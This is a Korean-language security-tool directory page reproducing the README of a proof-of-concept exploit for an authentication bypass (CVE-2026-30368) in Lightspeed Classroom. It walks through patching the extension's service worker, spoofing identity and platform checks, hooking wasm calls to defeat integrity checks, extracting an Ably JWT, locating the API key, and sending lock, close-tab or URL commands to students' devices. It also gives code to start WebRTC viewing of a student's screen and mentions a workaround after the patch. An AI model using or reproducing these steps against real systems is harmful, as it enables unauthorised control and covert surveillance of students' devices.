Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/truekas/ls-poc
ReconnaissanceExploitationWeb Application ExploitationCommand and ControlRemote Access ToolPayload Development
GitHubtruekas/ls-poc

ls-poc

CVE-2026-30368에 대한 개념 증명 익스플로잇으로, Lightspeed Classroom의 인증 우회를 시연하여 Ably 채널을 통해 학생 기기를 제어합니다.

저장소 보기
132295개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-30368 개념 증명

[!IMPORTANT]

이 취약점은 패치되었으며 이제 자격 증명이 필요합니다. 해결 방법을 사용하여 자신에게 작업을 수행하세요.

소개

CVE-2026-30368은 Lightspeed Classroom 관리의 약한 인증 결함을 통해 공격자가 학생 기기를 제어할 수 있게 합니다. POC(poc.js)는 LS Classroom 확장 프로그램의 서비스 워커를 전역 컨텍스트에서 실행합니다. 워커는 일부 기능을 위해 classroom.wasm도 실행합니다. wasm-loader.js는 워커를 로드하고 classroom.wasm이 생성한 JWT 토큰을 추출합니다. 토큰이 추출되면 워커를 종료한 다음 토큰을 Lightspeed API에 보내 대상의 Ably 채널에 연결하는 데 사용되는 토큰을 받습니다. 거기서부터 공격자는 학생 기기에 명령을 보낼 수 있습니다. 명령 목록과 더 많은 정보는 여기에 있는 전체 분석 문서에 있습니다.

직접 WORKER.JS, CLASSROOM.WASM, MANIFEST.JSON 파일을 제공해야 합니다!

이 파일들은 이 저장소에 포함할 수 없습니다. 그 이유는:

  • 이 저장소에 포함하면 Lightspeed로부터 확실히 DMCA를 당할 것이기 때문입니다.
  • 파일은 각 학군/버전마다 다르기 때문입니다.

문제를 피하려면 버전 5.1.2.1763770643을 사용하는 것이 좋습니다. 최신 버전을 적용하는 데 도움이 필요하면 스스로 해결해야 합니다.
worker.js와 classroom.wasm 파일은 Lightspeed 확장 프로그램 소스 코드에서 얻을 수 있습니다. 개인 기기의 Chrome에서 학교 계정으로 로그인한 다음 Chrome 프로필 디렉토리의 확장 프로그램 폴더에서 확장 프로그램 소스를 추출하여 얻을 수 있습니다. 업데이트 URL을 통해 crx를 수동으로 다운로드할 수도 있습니다.

권장 방법

이 익스플로잇의 더 쉬운 방법은 먼저 확장 프로그램 소스 코드에서 classroom.wasm을 얻은 다음 wasm-only.js와 같은 디렉토리에 붙여넣고 다음을 실행하는 것입니다:

$ node wasm-only.js

프롬프트가 표시되면 이메일과 고객 ID를 입력하세요. 그러면 Ably 채널에 연결됩니다. 815행으로 이동하여 메시지를 보내려는 항목의 주석을 해제하세요. 크레딧: ktibow on discord

wasm 로더 설정

파일을 확보했으면 복제된 저장소 디렉토리에 추가하기만 하면 됩니다. wasm-loader.js의 getManifest() 함수로 이동하여 확장 프로그램 매니페스트를 붙여넣어야 합니다. 또한 wasm-loader.js 상단에 확장 프로그램 ID를 추가해야 합니다.

worker.js의 사본을 원하는 파일 이름으로 만드세요. 나중에 필요합니다. 필요한 수정을 수행하려면 worker.js를 webcrack을 통해 실행하여 난독화 해제 및 축소 해제를 해야 합니다. 이 작업을 수행할 때 "Deobfuscate" 및 "Unminify" 옵션만 선택해야 합니다. 결과를 편집기에 다시 붙여넣기 전에 모든 LSP 서버를 끄는 것이 좋습니다. LSP 서버는 임의의 변수를 제거하여 후속 단계에서 워커가 손상될 수 있기 때문입니다(vtsls를 보고 있습니다...).

워커 패치

서비스 워커는 node.js에서 실행되므로(설치되어 있는지 확인하세요) 제대로 실행되려면 일부 패치가 필요합니다. JWT 추출 로직도 추가해야 합니다. worker.js 맨 위에 다음 2개의 함수를 추가하세요:

function valueCallBefore(call, before, func, r) {
  const actualWorkerUrl = 'chrome-extension://YOUR_EXTENSION_ID/worker_copy.js'
  if (call[0] == "chrome-extension://YOUR_EXTENSION_ID/worker.js") {
    return [actualWorkerUrl, call[1]];
  }
  if (func == chrome.identity.getProfileUserInfo) {
          call[1](https://github.com/truekas/ls-poc/blob/master/identity)
          return []
  }
  return before
}

function valueCallAfter(call, after, func, r) {
  if (func.name == "toString"){
          return 'function getProfileUserInfo() { [native code] }'
  }
  if (call[0] == "worker.js") {
          return "chrome-extension://YOUR_EXTENSION_ID/worker_copy.js"
  }
  return after
}

이 함수들은 wasm go 런타임을 수정하여 LS classroom wasm이 사용하는 값을 가로채고 수정할 때 사용됩니다. YOUR_EXTENSION_ID를 확장 프로그램 ID로 바꾸고 worker_copy.js를 이전에 만든 원본 worker.js 사본의 파일 이름으로 바꾸세요. 다음으로 기본 화살표 함수 내부((() => { 뒤)에 이 2개의 함수를 추가하세요:

chrome.runtime.getPlatformInfo = function (e) {
 	e({
  		"arch": "x86-64",
  		"nacl_arch": "x86-64",
  		"os": "cros"
 	})
 	return {
  		"arch": "x86-64",
  		"nacl_arch": "x86-64",
  		"os": "cros"
 	}
}

chrome.identity.getProfileUserInfo = function (e) {
 	if (e){
  		e(identity)
 	} else {
  		return identity
 	}
}

다음으로 캠퍼스 네트워크 외부에서 이 기능을 실행할 수 있도록 IsClassroomActive를 true로 하드코딩해야 합니다. 함수가 항상 true를 반환하도록 변경하기만 하면 됩니다:

_0x22e7ce.exports = {
  IsChromebookOnly: _0x218c73,
  IsClassroomActive: function () {
    return true;
  },
  LoadPolicy: _0x9069fc
};

그런 다음 수정해야 하는 valueCall 함수를 찾으려면 syscall/js.valueCall을 검색하세요. 이 함수는 wasm에 JS 값을 알려줍니다. 이 함수를 수정하여 가로채고 변경되는 2개의 값은 worker.js의 경로(해시 검사를 통과하도록 워커 사본으로 변경됨)와 chrome.identity.getProfileUserInfo.toString의 값(파일 상단에서 수정되었음에도 wasm이 신뢰할 수 있다고 믿도록 native code로 변경됨)입니다. 이렇게 하려면 상단에서 정의한 valueCallBefore 및 valueCallAfter 함수를 사용해야 합니다. valueCall 함수를 다음과 같이 수정하세요(변수 이름은 다를 수 있지만 구조는 동일합니다):

"syscall/js.valueCall": function (_0x4b3309) {
  _0x4b3309 >>>= 0;
  try {
    var _0x35f3af = _0x3634e7(_0x4b3309 + 8);
    var _0x13b354 = Reflect.get(_0x35f3af, _0x221273(_0x4b3309 + 16));
    var _0x369f3d = _0x5a331c(_0x4b3309 + 32);
    _0x369f3d = valueCallBefore(_0x369f3d, _0x369f3d, _0x13b354, _0x35f3af);
    var _0x1b573a = Reflect.apply(_0x13b354, _0x35f3af, _0x369f3d);
    _0x1b573a = valueCallAfter(_0x369f3d, _0x1b573a, _0x13b354, _0x35f3af);
    _0x4b3309 = _0x489a1f._inst.exports.getsp() >>> 0;
    _0x51c0ee(_0x4b3309 + 56, _0x1b573a);
    _0x489a1f.mem.setUint8(_0x4b3309 + 64, 1);
  } catch (_0x4b14cb) {
    _0x4b3309 = _0x489a1f._inst.exports.getsp() >>> 0;
    _0x51c0ee(_0x4b3309 + 56, _0x4b14cb);
    _0x489a1f.mem.setUint8(_0x4b3309 + 64, 0);
  }
},

거의 끝났습니다. 마지막으로 JWT를 캡처하는 코드를 추가해야 합니다. echoMessages: false를 검색하면 Ably로 전송되는 헤더 목록이 포함된 변수를 찾을 수 있습니다. 바로 아래에 다음 줄을 추가하세요(변수 이름은 정확하지 않을 가능성이 높으며 authHeaders에서 ablyJwt에 접근하는 동일한 줄을 찾을 수 있습니다):

globalThis.__LIGHTSPEED_JWT__ = _0xed754d("ablyJwt");

이렇게 하면 JWT가 전역 범위의 변수에 할당되어 wasm-loader.js(서비스 워커를 실행하는 "하네스")가 접근할 수 있습니다. 이로써 워커 수정이 끝납니다. 모든 LSP가 여전히 꺼져 있는지 확인하세요. 다시 켜진 경우 나중에 정의되지 않은 변수 문제가 발생할 수 있습니다.

최종 준비

poc.js 파일로 이동하세요. 상단에 테스트하려는 계정(가급적 자신의 계정)의 이메일과 고객 ID를 추가하세요. 자신의 것이 아닌 고객 ID를 사용하면 해당 고객 ID에 해당하는 올바른 worker.js 및 classroom.wasm 파일이 있어야 하므로 오류가 발생합니다.

실제 학생들에게 동의 없이 사용하는 것을 용납하지 않습니다!!! 🙂

poc.js의 Ably API 키는 법적 이유로 삭제되었으므로 직접 찾아야 합니다. worker.js에서 찾아보세요. G52로 시작합니다. 고객 ID도 같은 위치에서 찾을 수 있습니다. CUSTOMER_ID:를 검색하거나 XX-XXXX-XXXX 형식의 문자열을 찾으세요. 마지막 3자리는 일반적으로 000입니다.

사용자 에이전트에 관해서는 원하는 대로 설정할 수 있지만 AWS는 자동화 도구와 관련된 특정 UA를 차단할 수 있습니다. 이 모든 작업을 완료했으면 하단으로 이동하여 publish를 사용하여 사용자의 Ably 채널에 보낼 메시지를 추가할 수 있습니다. 메시지에는 lock, closeTab, url 등이 포함될 수 있습니다. Lightspeed가 사용하는 전체 Ably 메시지 목록은 여기에 있습니다.

실행

node.js, deno 또는 다른 런타임으로 파일을 실행하세요. Bun은 작동하지 않습니다.

$ node poc.js

POC를 확장하여 CLI 등으로 만들어도 좋습니다.

RTC

Lightspeed Classroom의 WebRTC(화면 보기) 기능을 작동시키는 방법이 궁금한 사람이 있다면, 가능하지만 까다롭습니다. 작동하려면 다음 조건을 충족해야 합니다:

  • 현재 시간이 정책에 지정된 class_schedule의 시간 창과 일치해야 합니다(전체 분석 문서에서 자세히 읽으세요).
  • 필요한 경우 클라이언트가 캠퍼스 네트워크에 있어야 합니다.
  • 같은 네트워크에 있어야 합니다(선택 사항이지만 매우 권장됨).
  • 교사가 동시에 Lightspeed를 사용할 때 가장 잘 작동합니다(RTC가 작동할 수 있는 창이 열립니다).

이미 클라이언트의 Ably 채널에 연결되어 있다고 가정하면 다음을 사용하여 WebRTC 연결을 시작할 수 있습니다:

channel.publish('request_rtc', {
  sessionId: sessId,
  role: 'viewer',
  want: ['video']
});

// rtc 설정
const pc = new RTCPeerConnection();
const pendingIce = [];

pc.onicecandidate = (event) => {
  if (event.candidate?.candidate) {
    channel.publish('answer_rtc_ice', {
      sessionId: sessId,
      ice: event.candidate
    });
  }
};

channel.subscribe(async (msg) => {
  if (msg.name === 'offer_rtc' && msg.data.sessionId === sessId) {
    await pc.setRemoteDescription({ type: 'offer', sdp: msg.data.offer.sdp });
    for (const ice of pendingIce) await pc.addIceCandidate(ice);
    pendingIce.length = 0;

    const answer = await pc.createAnswer();
    await pc.setLocalDescription(answer);
    channel.publish('answer_rtc', { sessionId: sessId, answer });
  }

  if (msg.name === 'offer_rtc_ice' && msg.data.sessionId === sessId) {
    const ice = msg.data.ice;
    if (!ice?.candidate) return;
    if (pc.remoteDescription) await pc.addIceCandidate(ice);
    else pendingIce.push(ice);
  }
});

비디오를 보는 방법은 직접 알아내야 합니다(약간의 HTML 지식과 약간의 구글링/AI로 가능할 것입니다). 위 코드는 연결을 설정합니다. 불행히도 스트림은 1 FPS이지만 이는 LS Classroom 자체의 한계입니다.

다시 말하지만, 너무 까다로워서 항상 작동한다고 보장할 수는 없지만, 일관되게 작동하게 만들면 알려주세요!

웹 뷰어

pnpm i를 실행하고 classroom.wasm을 저장소 루트에 배치한 다음 pnpm dev를 실행하여 웹 뷰어를 시작하세요.

해결 방법

[!IMPORTANT]

이 섹션은 자격 증명과 개인 기기가 필요합니다

4월 23일에 Lightspeed는 이 CVE에 대한 수정 사항을 배포하기 시작했습니다. Classroom에 신원 확인을 위한 Google OAuth 토큰을 제공하는 새 확장 프로그램인 Lightspeed Identity Agent(내부 코드명: LS One)를 추가했습니다. 이 해결 방법을 사용하면 자신 또는 자격 증명을 보유한 다른 사람에게 작업을 수행할 수 있습니다. Linux에서만 테스트되었습니다.

도구 다운로드